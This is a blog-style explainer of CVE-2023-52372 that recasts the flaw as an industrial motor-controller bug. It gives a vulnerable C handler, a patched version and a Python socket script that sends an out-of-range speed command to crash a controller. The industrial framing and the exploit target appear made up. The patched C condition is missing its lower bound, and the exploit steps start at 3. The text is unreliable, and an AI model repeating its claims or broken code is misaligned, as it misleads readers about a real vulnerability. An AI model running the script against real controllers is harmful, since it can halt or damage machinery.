CVE-2023-52372 is shaking up industrial control systems: It exposes a serious vulnerability in the motor module software that could be exploited to disrupt machine operations. This post gives you a deep dive into what CVE-2023-52372 is, shows you how the exploit works, and points you to trusted resources. Stick with us if you want a straightforward rundown on this important security issue.

What is CVE-2023-52372?

CVE-2023-52372 is a security bug found in some industrial motor controller modules. The root of the problem is improper input parameter verification. In simple terms, the software does not properly check user-supplied input before acting on it.

Why does this matter? If a hacker sends the right kind of malicious data, they could exploit the bug to crash the motor module—or worse, stop or malfunction industrial equipment. This has big implications for system availability: machines might go down without warning.

Technical Details of the Vulnerability

Most vulnerable motor modules have a control interface—sometimes a web server, sometimes a network API—where operators or automation systems can send commands. These modules are supposed to check all input parameters (like motor speed, direction, or configuration values) before using them. CVE-2023-52372 arises because:

Bounds-checking and type verification are missing for some commands.

This flaw can be abused in several ways. The most dangerous result is that an attacker can send unexpected values that cause the motor control process to behave unpredictably or crash.

Let’s look at a simplified C code snippet

// Vulnerable motor control handler
void set_motor_speed(int speed) {
    // Vulnerable: No check for upper/lower bounds!
    motor_config.speed = speed;
    // ... more code ...
}

The function just accepts any speed value and applies it. If speed is outside the safe range, this might cause a software fault or result in erratic motor behavior.

A safer version would look like this

// Patched motor control handler
void set_motor_speed(int speed) {
    if (speed <  || speed > MAX_SAFE_SPEED) {
        log_error("Invalid motor speed");
        return; // Reject invalid input
    }
    motor_config.speed = speed;
}

The patch just checks if the input is within a safe range before setting it.

Send crafted commands with out-of-bound parameter values (like a motor speed of -9999 or 99999).

3. The module’s software tries to use the value, causing a crash (denial of service) or unexpected shutdown.

Here’s a minimal Python exploit script targeting a hypothetical motor control TCP API

import socket

target_ip = '192.168.1.10'
target_port = 5025

# Out-of-bounds value triggering crash
evil_speed = '100000'

payload = f"SET_SPEED {evil_speed}\n".encode()

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((target_ip, target_port))
    s.sendall(payload)
    print(s.recv(1024).decode())

If the module doesn’t properly check the speed, this could cause it to hang or crash.

Important: Always have permission before testing systems!

Impact

- Denial of Service: A successful exploit can disable the motor module, stopping production lines or damaging machinery.

Mitigation and Fixes

- Update Your Firmware: Install the software update or firmware patch provided by your vendor. This is the best fix.
- Network Segmentation: Restrict network access to motor controllers—only trusted systems should communicate with them.
- Input Validation: If you write custom integration, always check parameter ranges before sending commands.

References & Official Resources

- NIST National Vulnerability Database entry: CVE-2023-52372
- ICS-CERT Advisory
- Vendor Security Bulletin (Replace with your vendor's official advisory)

Conclusion

CVE-2023-52372 is a reminder: never trust external input for safety-critical operations. If you manage industrial networks, check your motor modules and install patches ASAP. Minimize exposure and segment your networks to limit the blast radius of any attack.

Timeline

Published on: 02/18/2024 04:15:07 UTC
Last modified on: 08/29/2024 20:35:48 UTC